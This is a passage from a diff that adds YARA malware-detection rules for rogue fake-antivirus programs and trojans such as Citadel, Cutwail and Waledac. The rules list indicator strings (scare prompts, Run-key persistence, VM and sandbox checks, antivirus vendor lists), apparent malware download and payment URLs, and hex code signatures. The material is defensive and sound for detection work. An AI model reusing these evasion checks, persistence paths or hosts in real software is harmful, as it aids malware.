+		$ = "items is medium privacy threats" ascii wide
+		$ = "items are junk content of low privacy threats" ascii wide
+		$ = "has detected a leak of your files though the Internet. " ascii wide
+		$ = "We strongly recommend that you block the attack immediately" ascii wide
+		$ = "All threats has been succesfully removed." ascii wide
+		$ = "Attention! We strongly recommend that you activate " ascii wide
+		$ = "for the safety and faster running of your PC." ascii wide
+		$ = "No new update available" ascii wide
+		$ = "Could not connect to server!" ascii wide
+		$ = "New updates are installed successfully!" ascii wide
+		$ = "Security Warning!" ascii wide
+		$ = "Malicious program has been detected." ascii wide
+		$ = "Click here to protect your computer." ascii wide
+		$ = "is infected by W32/Blaster.worm" ascii wide
+		$ = "$$$$$$$$.bat" ascii wide
+		$ = "Completed!" ascii wide
+		$ = "Antivirus software uninstalled successfully" ascii wide
+		$ = "Antivirus uninstall is not success. Please try again..." ascii wide
+		$ = "-uninstall" ascii wide
+		$ = "_MUTEX" ascii wide
+		$ = "/min" ascii wide
+		
+	condition:
+		7 of them
+}
+
+rule RogueUnknownFakeAV
+{
+	meta:
+		Description  = "Rogue.FakeRean.rc"
+		ThreatLevel  = "5"
+		
+	strings:
+		$a = "S:\\appointed\\commanding\\general\\Moravia\\Image[01].exe" ascii wide
+		$b = "Dresden blockade" ascii wide
+		$c = "37592837532" ascii wide
+		$d = "39874598234" ascii wide
+		$e = "465234750238947532649587203948523-4572304750329458-23459723450-23457" ascii wide
+		
+	condition:
+		($a and $b) or ($c and $d) or $e
+}
+
+rule RoguePCDefender
+{
+	meta:
+		Description  = "Rogue.FakeDef.rc"
+		ThreatLevel  = "5"
+		
+	strings:
+		$hex0 = { 8A 4A 01 56 57 33 FF 47 8B C7 8D 72 03 85 C0 74 28 80 C1 0B 80 F9 5A 7E 11 0F BE C1 83 E8 41 6A 19 99 59 F7 F9 80 C2 41 8A CA 33 C0 38 0E 0F 94 C0 47 46 46 83 FF 10 7C D4 5F 5E C3 }
+		
+	condition:
+		any of ($hex*)
+}rule RogueFakeSysDefSample
+{
+	meta:
+		Description  = "Rogue.FakeSysDef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "smtmp" ascii wide
+		$ = "attrib -h"  ascii wide
+		$ = "%s\\license.dat"  ascii wide
+		$ = "Thank you for purchasing %s"    ascii wide
+		$ = "%s\\%s_License.txt" ascii wide
+		$ = "Bad sectors" ascii wide
+		$ = "Lost cluster chains" ascii wide
+		$ = "Relocate bad sectors: " ascii wide
+		$ = "Fix corrupted files: " ascii wide
+		$ = "Fix cluster chain: " ascii wide
+		$ = "No errors found. Disk%s health summary %d%%." ascii wide
+		$ = "Error 0x00000024 - %s_FILE_SYSTEM" ascii wide
+		$ = "Verifying disk consistency..." ascii wide
+		$ = "Hard drive spin failure detected" ascii wide
+		$ = "Checking S.M.A.R.T. attributes" ascii wide
+		$a = "S.M.A.R.T reports" ascii wide
+		$ = "Checking HDD surface for bad sectors.." ascii wide
+		$ = "Scanning sectors 0x%04X-0x%04X..." ascii wide
+		$ = "Check cancelled." ascii wide
+		$ = "Hard disk error detected" ascii wide
+		$ = "Repair volumes" ascii wide
+		$ = "Hard disk verification completed. No errors found." ascii wide
+		$ = "Exception Processing Message 0x%08X Parameters" ascii wide
+		$ = "Windows - Read error" ascii wide
+		$ = "File system on local disk %s contains critical errors" ascii wide
+		$ = "explorer.exe - Corrupt Disk" ascii wide
+		$ = "svchost.exe - Corrupt Disk" ascii wide
+
+	condition:
+		(3 of them) or $a
+}rule RogueWin32LiveSecurityProfessional
+{
+	meta:
+		Description  = "Rogue.LiveSP.sm"
+		ThreatLevel  = "5"
+	strings:
+		$ = "W32.SillyFDC.BDQ" ascii wide
+		$ = "Trojan.Peancomm" ascii wide
+		$ = "Adware.Borlan" ascii wide
+		$ = "Trojan.Exprez" ascii wide
+		$ = "Sunshine.B" ascii wide
+		$ = "SecurityRisk.URLRedir" ascii wide
+		$ = "Spyware.Ezurl" ascii wide
+		$ = "W32.Azero.A" ascii wide
+		$ = "W32.Downloadup.B" ascii wide
+		$ = "Hacktool.Unreal.A" ascii wide
+		$ = "Backdoor.Rustock.B" ascii wide
+		$ = "Infostealer.Snifula.B" ascii wide
+		$ = "Adware.FCHelp" ascii wide
+		$ = "Adware.Invinciblekey" ascii wide
+		$ = "Packed.Dromedan!gen5" ascii wide
+		$ = "Downloader.Jadelile" ascii wide
+		$ = "SecShieldFraud!gen7" ascii wide
+		$ = "Trojan.Komodola" ascii wide
+		$ = "W32.Stekct" ascii wide
+		$ = "Packed.Generic.368" ascii wide
+		$ = "VirusDoctor!gen12" ascii wide
+		$ = "UnlockAV" ascii wide
+		$ = "Sign Up in Live Security Professional" ascii wide
+		$ = "General security:" ascii wide
+		$ = "Real-Time Shields:" ascii wide
+		$ = "Self-protection from malware:" ascii wide
+		$ = "Definitions auto updates:" ascii wide
+		$ = "Virus definition version:" ascii wide
+		$ = "Program version:" ascii wide
+		$ = "Live Security Professional %s." ascii wide
+		$ = "You have a license" ascii wide
+		$ = "Your system is protected from possible threats." ascii wide
+		$ = "3.13.44.20" ascii wide
+		$ = "Protection level:" ascii wide
+		$ = "Your computer is fully protected." ascii wide
+		$ = "Your protection against viruses and spyware is weak" ascii wide
+		$ = "You must enter the serial number that came to your email to activate your license." ascii wide
+		$ = "Live Security Professional - Unregistered version" ascii wide
+		$ = "Scan stopped..." ascii wide
+		$ = "Scan paused..." ascii wide
+		$ = "http://185.6.80.65/index.php?r=checkout" ascii wide
+		$ = "To complete the registration, check your data for correctness." ascii wide
+		$ = "You have successfully signed up and choose a license. After confirming the payment (about 10 minutes), you get a completely secure system." ascii wide
+		$ = "Live Security Professional has blocked" ascii wide
+		$ = "Live security professional" ascii wide
+		$ = "Successfully Cleared!" ascii wide
+		$ = "DETECTED VIRUSES" ascii wide
+		$ = "List of detected viruses." ascii wide
+		$ = "Total infected:" ascii wide
+		$ = "10% of the viruses were treated free. For the cure of all viruses, you must purchase a license Pro or Pro Plus." ascii wide
+	condition:
+		5 of them
+}rule RogueSpywareDefenderSample
+{
+	meta:
+		Description  = "Rogue.SDef.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$str1 = "/get_two.php?" ascii wide
+		$str2 = "spyware-defender.com" ascii wide
+		$str3 = "Spyware Defender 2014" ascii wide
+		$str4 = "Antivirus MAC 2014" ascii wide
+		$str5 = "Antivirus WIN 2014" ascii wide
+		$ = "Delete" ascii wide
+		$ = "NoRemove" ascii wide
+		$ = "ForceRemove" ascii wide
+		$ = "RunInvalidSignatures" ascii wide
+		$ = "CheckExeSignatures" ascii wide
+	condition:
+		(5 of them) or (any of ($str*))
+}rule RogueWin32SystemDoctorA
+{
+	meta:
+		Description  = "Rogue.SysDoct.rc"
+		ThreatLevel  = "5"
+	strings:
+		$hex0 = { 55 8b ec 83 ec 7c a1 ?? ?? ?? ?? 33 c5 89 ?? ?? 56 68 90 d0 47 00 8d ?? ?? e8 ?? ?? ?? ?? 83 ?? ?? ?? 8b ?? ?? 73 ?? 8d ?? ?? 50 ff ?? ?? ?? ?? ?? 8d ?? ?? 83 f8 ff 74 ?? 6a 00 6a 01 e8 ?? ?? ?? ?? 33 c0 8b ?? ?? 33 cd 5e e8 ?? ?? ?? ?? c9 c3 53 57 33 db 53 6a 01 e8 ?? ?? ?? ?? be a4 d0 47 00 8d ?? ?? a5 a4 be ac d0 47 00 8d ?? ?? a5 a4 be b4 d0 47 00 8d ?? ?? a5 66 ?? a4 be bc d0 47 00 8d ?? ?? a5 a5 66 ?? a4 be 90 88 45 00 8d ?? ?? a5 a5 a5 a5 be 00 10 00 00 56 e8 ?? ?? ?? ?? 59 6a 02 53 89 ?? ?? 53 8d ?? ?? 50 c7 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 8b f8 83 ff ff 0f ?? ?? ?? ?? ?? 8d ?? ?? 50 53 57 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 8d ?? ?? 50 56 8b ?? ?? 56 8d ?? ?? 50 6a 0c 8d ?? ?? 50 57 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 56 ff ?? ?? ?? ?? ?? 8d ?? ?? 50 56 e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? 8d ?? ?? 50 56 e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? 8d ?? ?? 50 56 e8 ?? ?? ?? ?? 59 59 85 c0 75 ?? 8d ?? ?? 50 56 e8 ?? ?? ?? ?? 59 59 85 c0 74 ?? 33 db 43 56 e8 ?? ?? ?? ?? 59 5f 8b c3 5b e9 ?? ?? ?? ?? 8b ?? ?? eb ?? }
+		$ = "http://sys-doctor.com" ascii wide
+		$ = "AA39754E-715219CE" ascii wide
+		$ = "System Doctor" ascii wide
+		$ = "C:\\sd.dbg" ascii wide
+		$ = "C:\\sd1.dbg" ascii wide
+	condition:
+		(2 of them) or (any of ($hex*))
+}
+
+rule RogueWin32FufelAVA
+{
+	meta:
+		Description  = "Rogue.FufelAV.sm"
+		ThreatLevel  = "5"
+	strings:
+		$ = "avp:buy" ascii wide
+		$ = "avp:scan" ascii wide
+		$ = "Protection software" ascii wide
+		$ = "Invalid registration key!" ascii wide
+		$ = "Unprotected mode request" ascii wide
+		$ = "Are you sure want to continue in unprotected mode?" ascii wide
+		$ = "I have serial key" ascii wide
+		$ = "Continue unprotected" ascii wide
+		$ = "trying to infect your files" ascii wide
+		$ = "Your computer was attacked from" ascii wide
+		$ = "Attack was blocked" ascii wide
+		$ = "Please register product to block hackers attack" ascii wide
+		$ = "Scanning completed. No threads found." ascii wide
+		$ = "Scanning completed. Cleanup is required." ascii wide
+		$ = "Warning! %d Infections found!" ascii wide
+		$ = "Registered version" ascii wide
+		$ = "Unregistered version (Please register)" ascii wide
+		$ = "Cured" ascii wide
+		$ = "Infected process" ascii wide
+		$str_0 = "Sinergia Cleaner" ascii wide
+		$str_1 = "Sinergia software.lnk" ascii wide
+		
+		$str_2 = "fufel-av-2.com" ascii wide
+		$str_3 = "fufel-av.com" ascii wide
+	condition:
+		(3 of them) or (any of ($str_*))
+}
+rule RogueWinwebsecSample
+{
+	meta:
+		Description  = "Rogue.Winwebsec.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$a = "%s%s\\%s.ico" ascii wide
+		$b = "%s%s\\%s.exe" ascii wide
+	condition:
+		$a or $b
+}
+
+rule RogueSShieldSample
+{
+	meta:
+		Description  = "Rogue.SShield.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$a = "64C665BE" 	wide
+		$b = "BC0172B25DF2" wide
+	condition:
+		$a or $b
+}rule TrojanWin32AntivarSample
+{
+	meta:
+		Description  = "Trojan.Antivar.sm"
+		ThreatLevel  = "5"
+	strings:
+		$ = "ServerNabs4" ascii wide
+		$ = "\\system32\\antivar.exe" ascii wide
+	condition:
+		any of them
+}rule TrojanDownloaderCbeplaySample
+{
+	meta:
+		Description  = "Trojan.Cbeplay.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "wireshark.exe" ascii wide
+		$ = "pstorec.dll" ascii wide
+		$ = "ROOT\\SecurityCenter2" ascii wide
+		$ = "Select * from AntiVirusProduct" ascii wide
+		$ = "SbieDll.dll" ascii wide
+		$ = "OPEN %s.mp3 TYPE MpegVideo ALIAS MP3" ascii wide
+		$ = "PLAY MP3 wait" ascii wide
+		$ = "CLOSE MP3" ascii wide
+		$ = "VIRTUALBOX" ascii wide
+		$ = "VideoBiosVersion" ascii wide
+		$ = "QEMU" ascii wide
+		$ = "VMWARE" ascii wide
+		$ = "VBOX" ascii wide
+		$ = "VIRTUAL" ascii wide
+		$ = "taskmgr.exe" ascii wide
+		$ = "explorer.exe" ascii wide
+		$ = "Program Manager" ascii wide
+		$ = "Shell_TrayWnd" ascii wide
+		$ = "FriendlyName" ascii wide
+		$ = "Capture Filter" ascii wide
+		$ = "SampleGrab" ascii wide
+		$ = "Software\\Microsoft\\Windows\\CurrentVersion\\Explorer" ascii wide
+		$ = "Software\\Microsoft\\Windows\\CurrentVersion\\Run" ascii wide
+		$ = "SYSTEM\\CurrentControlSet\\Control\\SafeBoot" ascii wide
+		$ = "Hello, visitor from: <strong>" ascii wide
+		$ = "SendVoucher" ascii wide
+		$ = "winver" ascii wide
+		$ = "AVID" ascii wide
+		$ = "Emsisoft" ascii wide
+		$ = "Lavasoft" ascii wide
+		$ = "avast" ascii wide
+		$ = "Avira" ascii wide
+		$ = "BitDef" ascii wide
+		$ = "COMODO" ascii wide
+		$ = "F-Secure" ascii wide
+		$ = "G Data" ascii wide
+		$ = "Kaspersky" ascii wide
+		$ = "McAfee" ascii wide
+		$ = "ESET" ascii wide
+		$ = "Norton" ascii wide
+		$ = "Microsoft Security Essentials" ascii wide
+		$ = "Panda" ascii wide
+		$ = "Sophos" ascii wide
+		$ = "Trend Micro" ascii wide
+		$ = "Symantec" ascii wide
+		$ = "BullGuard" ascii wide
+		$ = "VIPRE" ascii wide
+		$ = "Webroot" ascii wide
+	condition:
+		8 of them
+}rule TrojanChangeStartPageSampleA
+{
+ meta:
+  Description  = "Trojan.CStartPage.sm"
+  ThreatLevel  = "5"
+
+ strings:
+	$ = "chrome.exe" ascii wide
+	$ = "urls_to_restore_on_startup" ascii wide
+	$ = "restore_on_startup" ascii wide
+	$ = "restore_on_startup_migrated" ascii wide
+	$ = "urls_to_restore_on_startup" ascii wide
+	$ = "translate_accepted_count" ascii wide
+	$ = "translate_denied_count" ascii wide
+	$ = "translate_site_blacklist" ascii wide
+	$ = "netsh firewall add allowedprogram" ascii wide
+	$ = "homepage_is_newtabpage" ascii wide
+	$ = "Start Page" ascii wide
+	$ = "user_pref(%cbrowser.startup.homepage%c" ascii wide
+	$ = "%ws\\mozilla\\firefox\\profiles" ascii wide
+	$ = "c:\\windows\\sms.exe" ascii wide
+ condition:
+	3 of them
+}
+rule TrojanWin32CitadelSampleA
+{
+	meta:
+		Description  = "Trojan.Citadel.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$a = "Coded by BRIAN KREBS for personal use only. I love my job & wife." ascii wide
+		$hex_string = {85 C0 7? ?? 8A 4C 30 FF 30 0C 30 48 7?}
+		$ = "softpc.new" ascii wide
+		$ = "CS:%04x IP:%04x OP:%02x %02x %02x %02x %02x" ascii wide
+
+	condition:
+		any of them
+}rule TrojanWin32ComfooSample
+{
+	meta:
+		Description  = "Trojan.Comfoo.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "exclusiveinstance12" ascii wide
+		$ = "MYGAMEHAVESTART" ascii wide
+		$ = "MYGAMEHAVEstarted" ascii wide
+		$ = "MYGAMEHAVESTARTEd" ascii wide
+		$ = "MYGAMEHAVESTARTED" ascii wide
+		$ = "thisisanewfirstrun" ascii wide
+		$ = "THISISASUPERNEWGAMENOWBEGIN" ascii wide
+		$ = "thisisnewtrofor024" ascii wide
+
+		$ = "cabinet.dll" ascii wide
+		$ = "09lkjds" ascii wide
+		$ = "perfdi.ini" ascii wide
+		$ = "msobj.sys" ascii wide
+		$ = "usbak.sys" ascii wide
+		$ = "\\\\.\\DevCtrlKrnl" ascii wide
+		$ = "THIS324NEWGAME" ascii wide
+		$ = "watchevent29021803" ascii wide
+		$ = "iamwaitingforu653890" ascii wide
+		$ = "Call to GetAdaptersInfo failed. Return Value" ascii wide
+		$ = "Hard Disk(%s--LocalDisk)" ascii wide
+		$ = "Total size: %I64d (MB)" ascii wide
+
+		$ = "SYSTEM\\CurrentControlSet\\Services\\%s" ascii wide
+
+		$hex0 = { 6a ff 68 1b 04 01 10 64 ?? ?? ?? ?? ?? 50 64 ?? ?? ?? ?? ?? ?? 51 56 57 68 30 17 00 00 e8 ?? ?? ?? ?? 83 c4 04 89 ?? ?? ?? 85 c0 c7 ?? ?? ?? ?? ?? ?? ?? 74 ?? 8b c8 e8 ?? ?? ?? ?? 8b f0 eb ?? 33 f6 8b ?? 6a 01 8b ce c7 ?? ?? ?? ?? ?? ?? ?? ff ?? ?? bf 30 3b 01 10 83 c9 ff 33 c0 8b ?? f2 ?? f7 d1 49 51 68 30 3b 01 10 8b ce ff ?? ?? 8b ?? 68 81 3e 00 00 8b ce ff ?? ?? 8b ?? ?? ?? 8b ?? 50 8b ce ff ?? ?? 8b ?? ?? ?? 8b ?? 50 8b ce ff ?? ?? 56 e8 ?? ?? ?? ?? 8b f8 83 c4 04 f7 df 1b ff 47 85 f6 74 ?? 8b ce e8 ?? ?? ?? ?? 56 e8 ?? ?? ?? ?? 83 c4 04 8b ?? ?? ?? 8b c7 5f 5e 64 ?? ?? ?? ?? ?? ?? 83 c4 10 c3}
+		$hex1 = { 55 56 57 6a 08 33 ed e8 ?? ?? ?? ?? 8b f0 83 c4 04 85 f6 0f ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 89 ?? ff ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 68 7f 03 0f 00 55 68 94 32 01 10 89 ?? ?? ff ?? ?? ?? ?? ?? 8b f8 85 ff 74 ?? 53 57 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 68 ff 01 0f 00 55 55 68 e8 30 01 10 ff ?? ?? ?? ?? ?? 8b d8 85 db 74 ?? 53 ff ?? ?? ?? ?? ?? 85 c0 74 ?? bd 01 00 00 00 53 ff ?? ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 85 ed 5b 74 ?? 8b c6 5f 5e 5d c3}
+		$hex2 = { 53 53 6a 03 53 53 68 00 00 00 c0 68 78 33 01 10 ff ?? ?? ?? ?? ?? 89 ?? ?? 83 f8 ff 75 ?? 33 c0 8b ?? ?? 64 ?? ?? ?? ?? ?? ?? 5f 5e 5b 8b e5 5d c3 89 ?? ?? 89 ?? ?? 89 ?? ?? be 88 33 01 10 8b c7 8a ?? 8a ca 3a ?? 75 ?? 3a cb 74 ?? 8a ?? ?? 8a ca 3a ?? ?? 75 ?? 83 c0 02 83 c6 02 3a cb 75 ?? 33 c0 eb ?? 1b c0 83 d8 ff 3b c3 75 ?? 89 ?? ?? eb ?? 57 ff ?? ?? ?? ?? ?? 89 ?? ?? 83 f8 ff 74 ?? 8b ?? ?? 50 ff ?? ?? ?? ?? ?? 66 ?? ?? ?? 53 8d ?? ?? 51 6a 04 8d ?? ?? 52 6a 06 8d ?? ?? 50 8b ?? ?? 56 8b ?? ?? 51 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 81 fe c8 20 22 00 75 ?? c7 ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 8b ?? ?? 8b ?? ?? 64 ?? ?? ?? ?? ?? ?? 5f 5e 5b 8b e5 5d c3}
+
+	condition:
+		(3 of them) or (any of ($hex*))
+}rule TrojanBotnetWin32CutwailSample
+{
+	meta:
+		Description  = "Trojan.Cutwail.sm"
+		ThreatLevel  = "5"
+
+	strings:
+		$ = "PreLoader.pdb" ascii wide
+		$ = "magadan21"  ascii wide
+		$ = "RkInstall.pdb"  ascii wide
+		$ = "InnerDrv.pdb"    ascii wide
+		$ = "Protect.pdb" ascii wide
+		$ = "MailerApp.pdb" ascii wide
+		$ = "revolution6" ascii wide
+		$ = "bot25" ascii wide
+	condition:
+		any of them
+}rule TrojanDllpatcherA
+{
+   meta:
+       Description = "Trojan.Dllpatcher.vb"
+       ThreatLevel = "5"
+
+   strings:
+		$str1 = "Global\\Matil da"  ascii wide
+		$str2 = "Global\\Nople Mento"  ascii wide
+		$str3 = "%s\\System32\\dnsapi.dll"  ascii wide
+		$str4 = "%s\\SysWOW64\\dnsapi.dll"  ascii wide
+
+   condition:
+      3 of them
+}
+rule TrojanDownloaderWin32KaraganySampleA
+{
+	meta:
+		Description  = "Trojan.Karagany.sm"
+		ThreatLevel  = "5"
+	strings:
+		$hex0 = { e8 ?? ?? ?? ?? 68 b4 05 00 00 e8 ?? ?? ?? ?? 83 c4 04 c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? ?? ?? ?? ff ?? ?? 99 b9 05 00 00 00 f7 f9 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 68 c0 24 40 00 8b ?? ?? ?? ?? ?? 52 ff ?? ?? ?? ?? ?? 83 c4 08 eb ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 68 78 24 40 00 a1 ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 83 c4 08 eb ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 68 30 24 40 00 8b ?? ?? ?? ?? ?? 51 ff ?? ?? ?? ?? ?? 83 c4 08 eb ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 68 e8 23 40 00 8b ?? ?? ?? ?? ?? 52 ff ?? ?? ?? ?? ?? 83 c4 08 eb ?? 83 ?? ?? ?? ?? ?? ?? 75 ?? 68 a0 23 40 00 a1 ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 83 c4 08 8d ?? ?? ?? ?? ?? 51 68 00 03 00 84 6a 00 6a 00 8b ?? ?? ?? ?? ?? 52 8b ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 89 ?? ?? ?? ?? ?? 83 ?? ?? ?? ?? ?? ?? 74 ?? 83 ?? ?? ?? ?? ?? ??}
+		$hex1 = { 55 8b ec 83 ec 18 e8 ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? 50 e8 ?? ?? ?? ?? 83 c4 04 a3 ?? ?? ?? ?? 68 d0 21 40 00 8b ?? ?? 51 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 6a 00 6a 00 68 38 23 40 00 ff ?? ?? ?? ?? ?? 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c2 01 89 ?? ?? 83 ?? ?? ?? 73 ?? 8b ?? ?? 8b ?? ?? ?? ?? ?? ?? 51 8b ?? ?? 52 ff ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? ?? eb ?? 6a 00 6a 00 68 2c 23 40 00 ff ?? ?? ?? ?? ?? 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c2 01 89 ?? ?? 83 ?? ?? ?? 73 ?? 8b ?? ?? 8b ?? ?? ?? ?? ?? ?? 51 8b ?? ?? 52 ff ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? ?? eb ?? 6a 00 6a 00 68 20 23 40 00 ff ?? ?? ?? ?? ?? 89 ?? ?? 8b ?? ?? ?? ?? ?? 52 8b ?? ?? 50 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 51 8b ?? ?? 52 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? a1 ?? ?? ?? ?? 50 8b ?? ?? 51 ff ?? ?? ?? ?? ?? a3 ?? ?? ?? ?? 6a 00 6a 00 68 14 23 40 00 ff ?? ?? ?? ?? ?? 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c2 01 89 ?? ?? 83 ?? ?? ?? 73 ?? 8b ?? ?? 8b ?? ?? ?? ?? ?? ?? 51 8b ?? ?? 52 ff ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? ?? eb ?? 6a 00 6a 00 68 04 23 40 00 ff ?? ?? ?? ?? ?? 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? eb ?? 8b ?? ?? 83 c2 01 89 ?? ?? 83 ?? ?? ?? 73 ?? 8b ?? ?? 8b ?? ?? ?? ?? ?? ?? 51 8b ?? ?? 52 ff ?? ?? ?? ?? ?? 8b ?? ?? 89 ?? ?? ?? ?? ?? ?? eb ?? 8b e5 5d c3}
+		$hex2 = { 55 8b ec 81 ec 20 04 00 00 a1 ?? ?? ?? ?? 89 ?? ?? 68 e0 30 40 00 68 48 23 40 00 8d ?? ?? ?? ?? ?? 51 ff ?? ?? 83 c4 0c 6a 00 6a 00 8d ?? ?? ?? ?? ?? 52 e8 ?? ?? ?? ?? 83 c4 0c b8 01 00 00 00 8b e5 5d c3}
+	condition:
+		any of ($hex*)
+}
+
+rule TrojanDownloaderWin32WaledacSampleR
+{
+	meta:
+		Description  = "Trojan.Waledac.sm"
+		ThreatLevel  = "5"
+	strings:
+		$hex0 = { 55 8b ec 81 ec 6c 02 00 00 56 57 68 80 00 00 00 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8b ?? ?? ?? ?? ?? 68 1c 21 40 00 8d ?? ?? ?? ?? ?? 50 ff d6 e8 ?? ?? ?? ?? 8d ?? ?? 51 50 e8 ?? ?? ?? ?? 8b ?? ?? 59 59 8b ?? ?? 8d ?? ?? ?? 50 8d ?? ?? ?? ?? ?? 50 ff d6 8d ?? ?? 50 e8 ?? ?? ?? ?? 8d ?? ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? 50 ff d6 33 f6 56 56 6a 02 56 56 68 00 00 00 40 8d ?? ?? ?? ?? ?? 50 ff ?? ?? ?? ?? ?? 8b f8 3b fe 75 ?? 32 c0 eb ?? 56 8d ?? ?? 50 53 ff ?? ?? 57 ff ?? ?? ?? ?? ?? 57 ff ?? ?? ?? ?? ?? 39 ?? ?? 75 ?? 6a 44 5f 57 8d ?? ?? 56 50 e8 ?? ?? ?? ?? 83 c4 0c 33 c0 66 ?? ?? ?? 8d ?? ?? 50 8d ?? ?? 50 56 56 56 56 56 56 8d ?? ?? ?? ?? ?? 50 56 89 ?? ?? c7 ?? ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? f7 d8 1b c0 f7 d8 5f 5e c9 c3 55}
+		$hex1 = { 55 8b ec 83 e4 f8 83 ec 10 56 57 e8 ?? ?? ?? ?? be 10 30 40 00 56 68 02 02 00 00 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 56 6a 02 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 56 68 01 01 00 00 ff ?? ?? ?? ?? ?? 85 c0 74 ?? 6a ff ff ?? ?? ?? ?? ?? ff ?? ?? ?? ?? ?? 50 e8 ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? a3 ?? ?? ?? ?? c7 ?? ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? be 30 21 40 00 8d ?? ?? ?? a5 a5 59 a3 ?? ?? ?? ?? a5 8d ?? ?? ?? 50 68 40 21 40 00 a4 e8 ?? ?? ?? ?? 59 59 84 c0 75 ?? 8d ?? ?? ?? 50 68 4c 21 40 00 e8 ?? ?? ?? ?? 59 59 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 59 ff ?? ?? ?? ?? ?? e8 ?? ?? ?? ?? 59 5f 33 c0 5e 8b e5 5d c3}
+		$hex2 = { 55 8b ec 51 83 ?? ?? ?? 53 8b ?? ?? ?? ?? ?? 56 57 bf 00 90 01 00 eb ?? 7c ?? 8b ?? ?? 56 ff ?? ?? ?? ?? ?? 03 c3 50 e8 ?? ?? ?? ?? 01 ?? ?? 8b ?? ?? 8b ?? ?? 83 c4 0c e8 ?? ?? ?? ?? 83 e8 00 74 ?? 48 75 ?? 6a 00 57 ff ?? ?? ?? ?? ?? ff ?? ?? ff ?? ?? ?? ?? ?? 8b f0 85 f6 75 ?? 8b ?? ?? 8b ?? ?? e8 ?? ?? ?? ?? f7 d8 1b c0 40 eb ?? 48 32 c0 eb ?? b0 01 5f 5e 5b c9 c3}
+	condition:
+		any of ($hex*)
+}
+
+rule TrojanDownloaderWin32PerkeshSamle
+{
+	meta:
+		Description  = "Trojan.Perkesh.rc"
+		ThreatLevel  = "5"
+	strings:
+		$a = "698d51" ascii wide
+		$b = "%s~%x.dat" ascii wide
+		$c = "\\drivers\\etc\\hosts" ascii wide
+	condition:
+		all of them
+}
+
+rule TrojanDownloaderWin32PerkeshDriverSamle
+{
+	meta:
+		Description  = "Trojan.Perkesh.rc"
+		ThreatLevel  = "5"
+	strings:
+		$a = "C:\\FOUND.001\\333888\\sys\\Driver\\i386\\feiji.pdb" ascii wide
+	condition:
+		$a
+}
+import"pe"
+rule TrojanDropperMicrojoin
+{
+	meta:
+		Description  = "Trojan.Microjoin.rc"
+		ThreatLevel  = "5"
+
+	strings:
+		$ep = { 55 8B EC 6A FF 68 00 00 00 00 68 00 00 00 00 64 A1 00 00 00 00 50 64 89 25 00 00 00 00 83 EC 68 53 56 57 5F 5E 5B 33 C0 83 C4 78 5D }
+
+	condition:
+		$ep at pe.entry_point
+}rule TrojanDownloaderWin32Frethog_E_Sample
+{
+ 	meta:
+ 		Description  = "Trojan.Frethog.sm"
+ 		ThreatLevel  = "5"
+
+ 	strings:
+ 		$ = "C:\\WINDOWS\\system32\\msvbvm60.dll\\3" ascii wide
+		$ = "DownLoad File:" ascii wide
+		$ = "\\system32\\mswinsck.ocx" ascii wide
+
+		$ = "http://www.pc918.net/file.txt" ascii wide
+		$ = "http://www.yswm.net/file.txt" ascii wide
+		$ = "http://www.v138.net/file.txt" ascii wide
+		$ = "http://www.v345.net/file.txt" ascii wide
+		$ = "http://www.ahwm.net/file.txt" ascii wide
+		$ = "http://user.yswm.net/yswm" ascii wide
+
+		$ = "so118config" ascii wide
+		$ = "http://user.yswm.net" ascii wide
+		$ = "hide.exe" ascii wide
+		$ = "\\win.ini" ascii wide
+		$ = "\\system32\\svchost.exe" ascii wide
+		$ = "P2P DownFile:" ascii wide
+		$ = "yswm.runsoft" ascii wide
+		$ = "\\sys.dat" ascii wide
+
+ 	condition:
+ 		4 of them
+}rule TrojanGBotSampleA_Malex
+{
+	meta:
+		Description  = "Trojan.GBot.sm"
+		ThreatLevel  = "5"
+
